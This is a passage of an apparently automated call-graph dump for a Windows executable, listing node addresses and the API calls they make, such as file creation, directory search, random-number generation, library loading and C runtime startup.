calls 38361->38372 38374 7ff68a22aae0 237 API calls 38361->38374 38375 7ff68a210d60 237 API calls 38361->38375 38378 7ff68a22a250 237 API calls 38361->38378 38362->38361 38363->38361 38364->38361 38365->38361 38366->38361 38367->38361 38368->38361 38369->38361 38370->38346 38371->38361 38372->38361 38373->38346 38374->38346 38375->38346 38376->38310 38377->38304 38378->38361 38380 7ff68a2334f6 38379->38380 38381 7ff68a201893 38380->38381 38447 7ff68a24dac0 CompareStringW 38380->38447 38381->38250 38381->38260 38386 7ff68a20546f setbuf 38383->38386 38384 7ff68a20554a memcpy_s 38467 7ff68a24c0a8 GetSystemTime SystemTimeToFileTime 38384->38467 38386->38384 38393 7ff68a205588 memcpy_s 38386->38393 38387 7ff68a205583 38456 7ff68a206eb8 38387->38456 38393->38387 38448 7ff68a247a24 38393->38448 38471 7ff68a203210 26 API calls 38393->38471 38472 7ff68a217088 10 API calls 38393->38472 38473 7ff68a20571c 38393->38473 38481 7ff68a214380 14 API calls 38393->38481 38482 7ff68a20681c 54 API calls 2 library calls 38393->38482 38394 7ff68a2056e9 38463 7ff68a246f68 38394->38463 38396 7ff68a2056f6 38397 7ff68a25a610 _handle_error 8 API calls 38396->38397 38398 7ff68a2019df 38397->38398 38403 7ff68a2072c4 38398->38403 38404 7ff68a2072eb 38403->38404 38603 7ff68a2188dc 38404->38603 38406 7ff68a207302 38607 7ff68a23915c 38406->38607 38408 7ff68a20730f 38619 7ff68a237044 38408->38619 38411 7ff68a25a444 new 4 API calls 38412 7ff68a2073e3 38411->38412 38413 7ff68a2073f5 memcpy_s 38412->38413 38635 7ff68a22894c 38412->38635 38624 7ff68a219be0 38413->38624 38418 7ff68a207539 38417->38418 38728 7ff68a23922c 38418->38728 38422 7ff68a216cbc 38421->38422 38423 7ff68a216d45 38421->38423 38426 7ff68a216cd9 38422->38426 38739 7ff68a239f78 8 API calls 2 library calls 38422->38739 38424 7ff68a216d83 38423->38424 38430 7ff68a216d69 38423->38430 38744 7ff68a239f78 8 API calls 2 library calls 38423->38744 38424->38281 38427 7ff68a216cf3 38426->38427 38740 7ff68a239f78 8 API calls 2 library calls 38426->38740 38428 7ff68a216d0d 38427->38428 38741 7ff68a239f78 8 API calls 2 library calls 38427->38741 38433 7ff68a216d2b 38428->38433 38742 7ff68a239f78 8 API calls 2 library calls 38428->38742 38430->38424 38745 7ff68a239f78 8 API calls 2 library calls 38430->38745 38433->38424 38743 7ff68a239f78 8 API calls 2 library calls 38433->38743 38438 7ff68a207162 38437->38438 38439 7ff68a207167 38437->38439 38746 7ff68a206c64 130 API calls _handle_error 38438->38746 38441->38258 38442->38251 38443->38253 38444->38261 38445->38264 38446->38262 38447->38381 38450 7ff68a247a59 38448->38450 38454 7ff68a247a4f 38448->38454 38449 7ff68a247a7c 38515 7ff68a24b6d0 73 API calls _Init_thread_footer 38449->38515 38450->38449 38453 7ff68a247b1c 60 API calls 38450->38453 38450->38454 38483 7ff68a2471fc 38450->38483 38516 7ff68a2141b0 14 API calls 2 library calls 38450->38516 38453->38450 38454->38393 38457 7ff68a206ee6 38456->38457 38462 7ff68a206f5c 38456->38462 38592 7ff68a249f64 8 API calls memcpy_s 38457->38592 38459 7ff68a206efb 38460 7ff68a206f2f 38459->38460 38459->38462 38460->38459 38593 7ff68a207188 12 API calls 38460->38593 38462->38394 38464 7ff68a246fb4 38463->38464 38466 7ff68a246f8a 38463->38466 38465 7ff68a224538 FindClose 38465->38466 38466->38464 38466->38465 38468 7ff68a25a610 _handle_error 8 API calls 38467->38468 38469 7ff68a205576 38468->38469 38470 7ff68a20681c 54 API calls 2 library calls 38469->38470 38470->38387 38471->38393 38472->38393 38474 7ff68a205742 38473->38474 38476 7ff68a20575d 38473->38476 38474->38476 38598 7ff68a233520 12 API calls 2 library calls 38474->38598 38594 7ff68a233610 38476->38594 38479 7ff68a2057fc 38479->38393 38481->38393 38482->38393 38489 7ff68a247217 setbuf 38483->38489 38488 7ff68a247453 38490 7ff68a247476 38488->38490 38491 7ff68a247464 38488->38491 38498 7ff68a24729c 38489->38498 38507 7ff68a24725a 38489->38507 38509 7ff68a2473c5 38489->38509 38524 7ff68a224554 38489->38524 38510 7ff68a247496 38490->38510 38521 7ff68a224538 38490->38521 38538 7ff68a247c38 55 API calls 3 library calls 38491->38538 38494 7ff68a247342 38494->38507 38511 7ff68a247656 38494->38511 38514 7ff68a2476ef 38494->38514 38539 7ff68a214380 14 API calls 38494->38539 38495 7ff68a247471 38495->38490 38499 7ff68a2473bb 38498->38499 38501 7ff68a24732e 38498->38501 38532 7ff68a25a444 38499->38532 38501->38494 38503 7ff68a24734a 38501->38503 38504 7ff68a24737e 38503->38504 38503->38507 38530 7ff68a214380 14 API calls 38503->38530 38504->38507 38531 7ff68a21cbd0 75 API calls 38504->38531 38505 7ff68a224554 16 API calls 38505->38507 38542 7ff68a25a610 38507->38542 38517 7ff68a2245cc 38509->38517 38510->38505 38510->38507 38511->38507 38511->38511 38512 7ff68a247723 38511->38512 38511->38514 38540 7ff68a20c214 8 API calls 2 library calls 38512->38540 38514->38507 38541 7ff68a228558 10 API calls 2 library calls 38514->38541 38516->38450 38519 7ff68a2245ed 38517->38519 38518 7ff68a2246ec 15 API calls 38518->38519 38519->38518 38520 7ff68a2246b2 38519->38520 38520->38488 38520->38494 38522 7ff68a224549 FindClose 38521->38522 38523 7ff68a22454f 38521->38523 38522->38523 38523->38510 38525 7ff68a224570 38524->38525 38529 7ff68a224574 38525->38529 38551 7ff68a2246ec 38525->38551 38528 7ff68a22458d FindClose 38528->38529 38529->38498 38530->38504 38531->38507 38537 7ff68a25a44f 38532->38537 38533 7ff68a25a47a 38533->38509 38537->38533 38579 7ff68a2636c0 38537->38579 38582 7ff68a25b314 RtlPcToFileHeader RaiseException std::bad_alloc::bad_alloc _CxxThrowException 38537->38582 38583 7ff68a25b2f4 RtlPcToFileHeader RaiseException std::bad_alloc::bad_alloc _CxxThrowException 38537->38583 38538->38495 38539->38511 38540->38507 38541->38507 38543 7ff68a25a61a 38542->38543 38544 7ff68a25a6a0 IsProcessorFeaturePresent 38543->38544 38545 7ff68a24776f 38543->38545 38546 7ff68a25a6b7 38544->38546 38545->38450 38590 7ff68a25a894 RtlCaptureContext RtlLookupFunctionEntry RtlVirtualUnwind 38546->38590 38548 7ff68a25a6ca 38591 7ff68a25a66c SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 38548->38591 38552 7ff68a224705 setbuf 38551->38552 38553 7ff68a224733 FindFirstFileW 38552->38553 38554 7ff68a2247a4 FindNextFileW 38552->38554 38556 7ff68a224749 38553->38556 38563 7ff68a22478b 38553->38563 38555 7ff68a2247ae GetLastError 38554->38555 38554->38563 38555->38563 38564 7ff68a234534 38556->38564 38558 7ff68a25a610 _handle_error 8 API calls 38560 7ff68a224587 38558->38560 38560->38528 38560->38529 38561 7ff68a22477a GetLastError 38561->38563 38562 7ff68a22475f FindFirstFileW 38562->38561 38562->38563 38563->38558 38565 7ff68a234549 setbuf 38564->38565 38575 7ff68a2345a2 38565->38575 38576 7ff68a23472c CharUpperW 38565->38576 38567 7ff68a25a610 _handle_error 8 API calls 38569 7ff68a22475b 38567->38569 38568 7ff68a234579 38577 7ff68a234760 CharUpperW 38568->38577 38569->38561 38569->38562 38571 7ff68a234592 38572 7ff68a234629 GetCurrentDirectoryW 38571->38572 38573 7ff68a23459a 38571->38573 38572->38575 38578 7ff68a23472c CharUpperW 38573->38578 38575->38567 38576->38568 38577->38571 38578->38575 38584 7ff68a263700 38579->38584 38589 7ff68a266938 EnterCriticalSection 38584->38589 38586 7ff68a26370d 38587 7ff68a266998 fflush LeaveCriticalSection 38586->38587 38588 7ff68a2636d2 38587->38588 38588->38537 38590->38548 38592->38459 38593->38460 38595 7ff68a233626 setbuf wcschr 38594->38595 38596 7ff68a25a610 _handle_error 8 API calls 38595->38596 38597 7ff68a2057e1 38596->38597 38597->38479 38599 7ff68a2348bc 38597->38599 38598->38476 38600 7ff68a2348cb setbuf 38599->38600 38601 7ff68a25a610 _handle_error 8 API calls 38600->38601 38602 7ff68a23493a 38601->38602 38602->38479 38604 7ff68a218919 38603->38604 38640 7ff68a244b14 38604->38640 38606 7ff68a218954 memcpy_s 38606->38406 38608 7ff68a239199 38607->38608 38645 7ff68a25a480 38608->38645 38611 7ff68a25a444 new 4 API calls 38612 7ff68a2391cf 38611->38612 38613 7ff68a2391e1 38612->38613 38614 7ff68a2188dc 8 API calls 38612->38614 38615 7ff68a25a444 new 4 API calls 38613->38615 38614->38613 38616 7ff68a2391f7 38615->38616 38617 7ff68a239209 38616->38617 38618 7ff68a2188dc 8 API calls 38616->38618 38617->38408 38618->38617 38620 7ff68a2188dc 8 API calls 38619->38620 38621 7ff68a237063 38620->38621 38653 7ff68a2372c0 38621->38653 38657 7ff68a21901c CryptAcquireContextW 38624->38657 38628 7ff68a219c2a 38667 7ff68a249ce4 38628->38667 38632 7ff68a219c5b memcpy_s 38633 7ff68a25a610 _handle_error 8 API calls 38632->38633 38634 7ff68a201a01 38633->38634 38634->38270 38684 7ff68a247d80 38635->38684 38641 7ff68a244b26 38640->38641 38642 7ff68a244b2b 38640->38642 38644 7ff68a244b38 8 API calls _handle_error 38641->38644 38642->38606 38644->38642 38646 7ff68a25a444 38645->38646 38647 7ff68a2391be 38646->38647 38648 7ff68a2636c0 new 2 API calls 38646->38648 38651 7ff68a25b314 RtlPcToFileHeader RaiseException std::bad_alloc::bad_alloc _CxxThrowException 38646->38651 38652 7ff68a25b2f4 RtlPcToFileHeader RaiseException std::bad_alloc::bad_alloc _CxxThrowException 38646->38652 38647->38611 38648->38646 38655 7ff68a2372dd 38653->38655 38654 7ff68a207325 38654->38411 38654->38413 38655->38654 38656 7ff68a25a480 4 API calls 38655->38656 38656->38654 38658 7ff68a219057 CryptGenRandom CryptReleaseContext 38657->38658 38659 7ff68a21907e 38657->38659 38658->38659 38660 7ff68a219089 38658->38660 38661 7ff68a219c9c 11 API calls 38659->38661 38662 7ff68a219c9c 38660->38662 38661->38660 38663 7ff68a24c0a8 10 API calls 38662->38663 38664 7ff68a219cc5 38663->38664 38677 7ff68a262d74 38664->38677 38668 7ff68a219c49 38667->38668 38669 7ff68a249d15 memcpy_s 38667->38669 38671 7ff68a249b70 38668->38671 38669->38668 38680 7ff68a249d74 38669->38680 38674 7ff68a249bad memcpy_s 38671->38674 38676 7ff68a249bd9 memcpy_s 38671->38676 38672 7ff68a249d74 8 API calls 38673 7ff68a249c07 38672->38673 38673->38632 38675 7ff68a249d74 8 API calls 38674->38675 38674->38676 38675->38676 38676->38672 38678 7ff68a262d8b QueryPerformanceCounter 38677->38678 38679 7ff68a219cd7 38677->38679 38678->38679 38679->38628 38681 7ff68a249dbc 38680->38681 38681->38681 38682 7ff68a25a610 _handle_error 8 API calls 38681->38682 38683 7ff68a249f40 38682->38683 38683->38669 38691 7ff68a248094 38684->38691 38687 7ff68a228a44 38688 7ff68a228a5a memcpy_s 38687->38688 38723 7ff68a24bac4 38688->38723 38692 7ff68a24809f 38691->38692 38695 7ff68a247ec8 38692->38695 38696 7ff68a247efa memcpy_s 38695->38696 38702 7ff68a247fb5 38696->38702 38709 7ff68a24b3f0 38696->38709 38698 7ff68a24805c GetCurrentProcessId 38700 7ff68a22896e 38698->38700 38700->38687 38701 7ff68a247f7e GetProcAddressForCaller GetProcAddress 38701->38702 38702->38698 38703 7ff68a247ff1 38702->38703 38703->38700 38718 7ff68a21ca6c 48 API calls 3 library calls 38703->38718 38705 7ff68a24801f 38719 7ff68a21cda4 10 API calls 2 library calls 38705->38719 38707 7ff68a248027 38720 7ff68a21ca40 61 API calls _CxxThrowException 38707->38720 38721 7ff68a25a5a0 38709->38721 38712 7ff68a24b42c 38714 7ff68a2348bc 8 API calls 38712->38714 38713 7ff68a24b428 38716 7ff68a25a610 _handle_error 8 API calls 38713->38716 38715 7ff68a24b444 LoadLibraryExW 38714->38715 38715->38713 38717 7ff68a247f72 38716->38717 38717->38701 38717->38702 38718->38705 38719->38707 38720->38700 38722 7ff68a24b3fc GetSystemDirectoryW 38721->38722 38722->38712 38722->38713 38726 7ff68a24ba70 GetCurrentProcess GetProcessAffinityMask 38723->38726 38727 7ff68a2289c5 38726->38727 38727->38413 38729 7ff68a239245 38728->38729 38736 7ff68a226194 72 API calls 38729->38736 38731 7ff68a2392b1 38737 7ff68a226194 72 API calls 38731->38737 38733 7ff68a2392bd 38738 7ff68a226194 72 API calls 38733->38738 38735 7ff68a2392c9 38736->38731 38737->38733 38738->38735 38739->38426 38740->38427 38741->38428 38742->38433 38743->38423 38744->38430 38745->38424 38746->38439 38747 7ff68a203b53 38748 7ff68a203b64 38747->38748 38798 7ff68a221e80 38748->38798 38749 7ff68a203c09 38810 7ff68a2223f0 38749->38810 38751 7ff68a203c18 38820 7ff68a208050 157 API calls 38751->38820 38752 7ff68a203bb6 38752->38749 38752->38751 38754 7ff68a203c01 38752->38754 38815 7ff68a221c24 38754->38815 38755 7ff68a203c3d 38821 7ff68a208010 13 API calls 38755->38821 38758 7ff68a203ccc 38777 7ff68a203c90 38758->38777 38828 7ff68a222414 61 API calls 38758->38828 38759 7ff68a203c45 38762 7ff68a203c54 38759->38762 38822 7ff68a21cba8 75 API calls 38759->38822 38823 7ff68a20a9d4 186 API calls wcschr 38762->38823 38763 7ff68a203cf9 38829 7ff68a221998 138 API calls 38763->38829 38767 7ff68a203c5c 38824 7ff68a2093ac 8 API calls 38767->38824 38768 7ff68a203d10 38830 7ff68a2218ac 38768->38830 38771 7ff68a203c66 38773 7ff68a203c77 38771->38773 38825 7ff68a21ca40 61 API calls _CxxThrowException 38771->38825 38826 7ff68a208090 8 API calls 38773->38826 38776 7ff68a203c7f 38776->38777 38827 7ff68a21ca40 61 API calls _CxxThrowException 38776->38827 38837 7ff68a24d400 48 API calls 38777->38837 38799 7ff68a221e95 setbuf 38798->38799 38800 7ff68a221ecb CreateFileW 38799->38800 38801 7ff68a221f59 GetLastError 38800->38801 38809 7ff68a221fb8 38800->38809 38802 7ff68a234534 10 API calls 38801->38802 38804 7ff68a221f74 38802->38804 38803 7ff68a221ff7 38806 7ff68a25a610 _handle_error 8 API calls 38803->38806 38807 7ff68a221f78 CreateFileW GetLastError 38804->38807 38804->38809 38805 7ff68a221fd9 SetFileTime 38805->38803 38808 7ff68a22203a 38806->38808 38807->38809 38808->38752 38809->38803 38809->38805 38838 7ff68a2224e8 38810->38838 38813 7ff68a22240e 38813->38758 38816 7ff68a221c37 38815->38816 38819 7ff68a221c3b 38815->38819 38816->38749 38817 7ff68a221c5d 38855 7ff68a222d6c 12 API calls 2 library calls 38817->38855 38819->38816 38819->38817 38820->38755 38821->38759 38823->38767 38824->38771 38825->38773 38826->38776 38827->38777 38828->38763 38829->38768 38831 7ff68a2218ca 38830->38831 38836 7ff68a2218db 38830->38836 38832 7ff68a2218d6 38831->38832 38833 7ff68a2218de 38831->38833 38831->38836 38834 7ff68a221c24 12 API calls 38832->38834 38856 7ff68a221930 38833->38856 38834->38836 38836->38777 38844 7ff68a221af0 38838->38844 38841 7ff68a2223f9 38841->38813 38843 7ff68a21ca40 61 API calls _CxxThrowException 38841->38843 38843->38813 38845 7ff68a221b01 setbuf 38844->38845 38846 7ff68a221b6f CreateFileW 38845->38846 38847 7ff68a221b68 38845->38847 38846->38847 38848 7ff68a221be1 38847->38848 38849 7ff68a234534 10 API calls 38847->38849 38852 7ff68a25a610 _handle_error 8 API calls 38848->38852 38850 7ff68a221bb3 38849->38850 38850->38848 38851 7ff68a221bb7 CreateFileW 38850->38851 38851->38848 38853 7ff68a221c14 38852->38853 38853->38841 38854 7ff68a21ca08 10 API calls 38853->38854 38854->38841 38855->38816 38857 7ff68a221964 38856->38857 38858 7ff68a22194c 38856->38858 38859 7ff68a221988 38857->38859 38862 7ff68a21c9d0 10 API calls 38857->38862 38858->38857 38860 7ff68a221958 CloseHandle 38858->38860 38859->38836 38860->38857 38862->38859 38863 7ff68a26231c 38864 7ff68a26238c 38863->38864 38865 7ff68a262342 GetModuleHandleW 38863->38865 38876 7ff68a266938 EnterCriticalSection 38864->38876 38865->38864 38867 7ff68a26234f 38865->38867 38867->38864 38877 7ff68a2624d4 GetModuleHandleExW 38867->38877 38868 7ff68a266998 fflush LeaveCriticalSection 38870 7ff68a262460 38868->38870 38869 7ff68a262410 38869->38868 38872 7ff68a26246c 38870->38872 38875 7ff68a262488 11 API calls 38870->38875 38871 7ff68a262396 38871->38869 38873 7ff68a2643b8 16 API calls 38871->38873 38873->38869 38875->38872 38878 7ff68a262525 38877->38878 38879 7ff68a2624fe GetProcAddress 38877->38879 38880 7ff68a262535 38878->38880 38881 7ff68a26252f FreeLibrary 38878->38881 38879->38878 38882 7ff68a262518 38879->38882 38880->38864 38881->38880 38882->38878 38883 7ff68a25b0fc 38902 7ff68a25aa8c 38883->38902 38887 7ff68a25b148 38892 7ff68a25b169 __scrt_is_nonwritable_in_current_image __scrt_release_startup_lock 38887->38892 38910 7ff68a26472c 38887->38910 38888 7ff68a25b123 __scrt_acquire_startup_lock 38888->38887 38958 7ff68a25b52c 7 API calls memcpy_s 38888->38958 38891 7ff68a25b16d 38892->38891 38893 7ff68a25b1f7 38892->38893 38959 7ff68a262574 35 API calls __FrameUnwindToState 38892->38959 38914 7ff68a263fc4 38893->38914 38900 7ff68a25b220 38960 7ff68a25ac64 8 API calls 2 library calls 38900->38960 38903 7ff68a25aaae __isa_available_init 38902->38903 38961 7ff68a25e2f8 38903->38961 38908 7ff68a25aab7 38908->38888 38957 7ff68a25b52c 7 API calls memcpy_s 38908->38957 38912 7ff68a264744 38910->38912 38911 7ff68a264766 38911->38892 38912->38911 39010 7ff68a25b010 38912->39010 38915 7ff68a263fd4 38914->38915 38916 7ff68a25b20c 38914->38916 39102 7ff68a263c84 38915->39102 38918 7ff68a237e20 38916->38918 39142 7ff68a24b470 GetModuleHandleW 38918->39142 38924 7ff68a237e58 SetErrorMode GetModuleHandleW 38925 7ff68a2448cc 21 API calls 38924->38925 38926 7ff68a237e7d 38925->38926 38927 7ff68a243e48 137 API calls 38926->38927 38928 7ff68a237e90 38927->38928 38929 7ff68a213d3c 126 API calls 38928->38929 38930 7ff68a237e9c 38929->38930 38931 7ff68a25a444 new RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 38930->38931 38932 7ff68a237ead 38931->38932 38933 7ff68a237ebf 38932->38933 38934 7ff68a213f18 70 API calls 38932->38934 38935 7ff68a214d1c 157 API calls 38933->38935 38934->38933 38936 7ff68a237ed6 38935->38936 38937 7ff68a237eef 38936->38937 38938 7ff68a216ad0 154 API calls 38936->38938 38939 7ff68a214d1c 157 API calls 38937->38939 38940 7ff68a237ee7 38938->38940 38941 7ff68a237eff 38939->38941 38942 7ff68a214e48 160 API calls 38940->38942 38943 7ff68a237f0d 38941->38943 38945 7ff68a237f14 38941->38945 38942->38937 38944 7ff68a24b650 CreateEventW CloseHandle CreateEventW GetLastError CloseHandle 38943->38944 38944->38945 38946 7ff68a214888 58 API calls 38945->38946 38947 7ff68a237f57 38946->38947 38948 7ff68a214fd0 268 API calls 38947->38948 38950 7ff68a237f5f 38948->38950 38949 7ff68a237f9e 38955 7ff68a25b684 GetModuleHandleW 38949->38955 38950->38949 38951 7ff68a237f8c 38950->38951 38952 7ff68a24b650 CreateEventW CloseHandle CreateEventW GetLastError CloseHandle 38951->38952 38953 7ff68a237f93 38952->38953 38953->38949 38954 7ff68a24b57c 14 API calls 38953->38954 38954->38949 38956 7ff68a25b698 38955->38956 38956->38900 38957->38888 38958->38887 38959->38893 38960->38891 38962 7ff68a25e301 __vcrt_initialize_pure_virtual_call_handler __vcrt_initialize_winapi_thunks 38961->38962 38974 7ff68a25eb08 38962->38974 38965 7ff68a25aab3 38965->38908 38969 7ff68a2645e4 38965->38969 38967 7ff68a25e318 38967->38965 38981 7ff68a25eb50 DeleteCriticalSection 38967->38981 38970 7ff68a269d4c 38969->38970 38971 7ff68a25aac0 38970->38971 38998 7ff68a2666c0 38970->38998 38971->38908 38973 7ff68a25e32c 8 API calls 3 library calls 38971->38973 38973->38908 38975 7ff68a25eb10 38974->38975 38977 7ff68a25eb41 38975->38977 38978 7ff68a25e30b 38975->38978 38982 7ff68a25e678 38975->38982 38987 7ff68a25eb50 DeleteCriticalSection 38977->38987 38978->38965 38980 7ff68a25e8a4 8 API calls 3 library calls 38978->38980 38980->38967 38981->38965 38988 7ff68a25e34c 38982->38988 38985 7ff68a25e6cf InitializeCriticalSectionAndSpinCount 38986 7ff68a25e6bb 38985->38986 38986->38975 38987->38978 38989 7ff68a25e3b2 38988->38989 38994 7ff68a25e3ad 38988->38994 38989->38985 38989->38986 38990 7ff68a25e47a 38990->38989 38992 7ff68a25e489 GetProcAddress 38990->38992 38991 7ff68a25e3e5 LoadLibraryExW 38993 7ff68a25e40b GetLastError 38991->38993 38991->38994 38992->38989 38995 7ff68a25e4a1 38992->38995 38993->38994 38996 7ff68a25e416 LoadLibraryExW 38993->38996 38994->38989 38994->38990 38994->38991 38997 7ff68a25e458 FreeLibrary 38994->38997 38995->38989 38996->38994 38997->38994 39009 7ff68a266938 EnterCriticalSection 38998->39009 39000 7ff68a2666d0 39001 7ff68a268050 32 API calls 39000->39001 39002 7ff68a2666d9 39001->39002 39003 7ff68a2666e7 39002->39003 39004 7ff68a2664d0 34 API calls 39002->39004 39005 7ff68a266998 fflush LeaveCriticalSection 39003->39005 39007 7ff68a2666e2 39004->39007 39006 7ff68a2666f3 39005->39006 39006->38970 39008 7ff68a2665bc GetStdHandle GetFileType 39007->39008 39008->39003 39011 7ff68a25b020 pre_c_initialization 39010->39011 39031 7ff68a262b00 39011->39031 39013 7ff68a25b02c pre_c_initialization 39037 7ff68a25aad8 39013->39037 39015 7ff68a25b045 39016 7ff68a25b049 _RTC_Initialize 39015->39016 39017 7ff68a25b0b5 39015->39017 39042 7ff68a25ace0 39016->39042 39074 7ff68a25b52c 7 API calls memcpy_s 39017->39074 39019 7ff68a25b0bf 39075 7ff68a25b52c 7 API calls memcpy_s 39019->39075 39021 7ff68a25b05a pre_c_initialization 39045 7ff68a263b0c 39021->39045 39023 7ff68a25b0ca __scrt_initialize_default_local_stdio_options 39023->38912 39026 7ff68a25b06a 39073 7ff68a25b7dc RtlInitializeSListHead 39026->39073 39028 7ff68a25b06f pre_c_initialization 39029 7ff68a264818 pre_c_initialization 35 API calls 39028->39029 39030 7ff68a25b09a pre_c_initialization 39029->39030 39030->38912 39032 7ff68a262b11 39031->39032 39036 7ff68a262b19 39032->39036 39076 7ff68a264f3c 15 API calls abort 39032->39076 39034 7ff68a262b28 39077 7ff68a264e1c 31 API calls _invalid_parameter_noinfo 39034->39077 39036->39013 39038 7ff68a25ab96 39037->39038 39041 7ff68a25aaf0 __scrt_initialize_onexit_tables 39037->39041 39078 7ff68a25b52c 7 API calls memcpy_s 39038->39078 39040 7ff68a25aba0 39041->39015 39079 7ff68a25ac90 39042->39079 39044 7ff68a25ace9 39044->39021 39046 7ff68a263b2a 39045->39046 39047 7ff68a263b40 39045->39047 39084 7ff68a264f3c 15 API calls abort 39046->39084 39086 7ff68a269370 39047->39086 39051 7ff68a263b2f 39085 7ff68a264e1c 31 API calls _invalid_parameter_noinfo 39051->39085 39052 7ff68a263b72 39090 7ff68a2638ec 35 API calls pre_c_initialization 39052->39090 39054 7ff68a25b066 39054->39019 39054->39026 39056 7ff68a263b9c 39091 7ff68a263aa8 15 API calls 2 library calls 39056->39091 39058 7ff68a263bb2 39059 7ff68a263bcb 39058->39059 39060 7ff68a263bba 39058->39060 39093 7ff68a2638ec 35 API calls pre_c_initialization 39059->39093 39092 7ff68a264f3c 15 API calls abort 39060->39092 39063 7ff68a263be7 39065 7ff68a263c17 39063->39065 39066 7ff68a263c30 39063->39066 39071 7ff68a263bbf 39063->39071 39064 7ff68a264a74 __free_lconv_num 15 API calls 39064->39054 39094 7ff68a264a74 39065->39094 39069 7ff68a264a74 __free_lconv_num 15 API calls 39066->39069 39068 7ff68a263c20 39070 7ff68a264a74 __free_lconv_num 15 API calls 39068->39070 39069->39071 39072 7ff68a263c2c 39070->39072 39071->39064 39072->39054 39074->39019 39075->39023 39076->39034 39077->39036 39078->39040 39080 7ff68a25acbf 39079->39080 39081 7ff68a25acb5 _onexit 39079->39081 39083 7ff68a264434 34 API calls _onexit 39080->39083 39081->39044 39083->39081 39084->39051 39085->39054 39087 7ff68a26937d 39086->39087 39088 7ff68a263b45 GetModuleFileNameA 39086->39088 39100 7ff68a2691b0 48 API calls 6 library calls 39087->39100 39088->39052 39090->39056 39091->39058 39092->39071 39093->39063 39095 7ff68a264a79 RtlFreeHeap 39094->39095 39099 7ff68a264aa9 __free_lconv_num 39094->39099 39096 7ff68a264a94 39095->39096 39095->39099 39101 7ff68a264f3c 15 API calls abort 39096->39101 39098 7ff68a264a99 GetLastError 39098->39099 39099->39068 39100->39088 39101->39098 39103 7ff68a263c98 39102->39103 39104 7ff68a263ca1 39102->39104 39103->39104 39108 7ff68a263ccc 39103->39108 39104->38916 39109 7ff68a263ce5 39108->39109 39118 7ff68a263caa 39108->39118 39110 7ff68a269370 pre_c_initialization 48 API calls 39109->39110 39111 7ff68a263cea 39110->39111 39121 7ff68a26978c GetEnvironmentStringsW 39111->39121 39114 7ff68a263cf7 39116 7ff68a264a74 __free_lconv_num 15 API calls 39114->39116 39116->39118 39117 7ff68a263d04 39119 7ff68a264a74 __free_lconv_num 15 API calls 39117->39119 39118->39104 39120 7ff68a263e78 17 API calls 2 library calls 39118->39120 39119->39114 39120->39104 39122 7ff68a2697ba WideCharToMultiByte 39121->39122 39132 7ff68a26985e 39121->39132 39126 7ff68a269814 39122->39126 39122->39132 39124 7ff68a269868 FreeEnvironmentStringsW 39125 7ff68a263cef 39124->39125 39125->39114 39133 7ff68a263d38 31 API calls 4 library calls 39125->39133 39134 7ff68a264ab4 39126->39134 39129 7ff68a269824 WideCharToMultiByte 39130 7ff68a26984b 39129->39130 39131 7ff68a264a74 __free_lconv_num 15 API calls 39130->39131 39131->39132 39132->39124 39132->39125 39133->39117 39135 7ff68a264aff 39134->39135 39139 7ff68a264ac3 __vcrt_getptd_noexit 39134->39139 39141 7ff68a264f3c 15 API calls abort 39135->39141 39136 7ff68a264ae6 RtlAllocateHeap 39138 7ff68a264afd 39136->39138 39136->39139 39138->39129 39138->39130 39139->39135 39139->39136 39140 7ff68a2636c0 new 2 API calls 39139->39140 39140->39139 39141->39138 39143 7ff68a237e45 39142->39143 39144 7ff68a24b496 GetProcAddress 39142->39144 39147 7ff68a217a68 39143->39147 39145 7ff68a24b4cb GetProcAddress 39144->39145 39146 7ff68a24b4ae 39144->39146 39145->39143 39146->39145 39148 7ff68a217a76 39147->39148 39168 7ff68a262ae4 39148->39168 39150 7ff68a217a80 39151 7ff68a262ae4 setbuf 60 API calls 39150->39151 39152 7ff68a217a94 39151->39152 39177 7ff68a217b44 GetStdHandle GetFileType 39152->39177 39155 7ff68a217b44 3 API calls 39156 7ff68a217aae 39155->39156 39157 7ff68a217b44 3 API calls 39156->39157 39159 7ff68a217abe 39157->39159 39158 7ff68a217b12 39167 7ff68a21cd78 SetConsoleCtrlHandler 39158->39167 39160 7ff68a217aeb 39159->39160 39180 7ff68a262abc 31 API calls 2 library calls 39159->39180 39160->39158 39182 7ff68a262abc 31 API calls 2 library calls 39160->39182 39163 7ff68a217adf 39181 7ff68a262b40 33 API calls 3 library calls 39163->39181 39164 7ff68a217b06 39183 7ff68a262b40 33 API calls 3 library calls 39164->39183 39169 7ff68a262ae9 39168->39169 39170 7ff68a267ee8 39169->39170 39173 7ff68a267f23 39169->39173 39184 7ff68a264f3c 15 API calls abort 39170->39184 39172 7ff68a267eed 39185 7ff68a264e1c 31 API calls _invalid_parameter_noinfo 39172->39185 39186 7ff68a267d98 60 API calls 2 library calls 39173->39186 39176 7ff68a267ef8 39176->39150 39178 7ff68a217b61 GetConsoleMode 39177->39178 39179 7ff68a217a9e 39177->39179 39178->39179 39179->39155 39180->39163 39181->39160 39182->39164 39183->39158 39184->39172 39185->39176 39186->39176 39187 7ff68a203e71 39188 7ff68a203e81 39187->39188 39189 7ff68a203e89 39187->39189 39188->39189 39198 7ff68a259a14 49 API calls 39188->39198 39190 7ff68a203edd 39189->39190 39192 7ff68a203ea3 39189->39192 39194 7ff68a25a610 _handle_error 8 API calls 39190->39194 39199 7ff68a22331c 48 API calls 2 library calls 39192->39199 39195 7ff68a203eef 39194->39195 39196 7ff68a203eab 39196->39190 39200 7ff68a2063e8 8 API calls 2 library calls 39196->39200 39198->39189 39199->39196 39200->39190 39201 7ff68a2082f0 39202 7ff68a208306 39201->39202 39213 7ff68a20836f 39201->39213 39203 7ff68a208324 39202->39203 39207 7ff68a208371 39202->39207 39202->39213 39321 7ff68a222414 61 API calls 39203->39321 39205 7ff68a208347 39322 7ff68a221998 138 API calls 39205->39322 39207->39213 39323 7ff68a221998 138 API calls 39207->39323 39208 7ff68a20835e 39210 7ff68a2218ac 15 API calls 39208->39210 39210->39213 39224 7ff68a20a410 39213->39224 39215 7ff68a208578 39216 7ff68a20b540 147 API calls 39215->39216 39221 7ff68a20858f 39216->39221 39217 7ff68a20b540 147 API calls 39217->39215 39218 7ff68a208634 39219 7ff68a25a610 _handle_error 8 API calls 39218->39219 39220 7ff68a208663 39219->39220 39221->39218 39324 7ff68a209628 175 API calls 39221->39324 39325 7ff68a237a68 39224->39325 39227 7ff68a20853a 39229 7ff68a20b540 39227->39229 39233 7ff68a20b55f setbuf 39229->39233 39230 7ff68a20b5a1 39231 7ff68a20b5d8 39230->39231 39232 7ff68a20b5b8 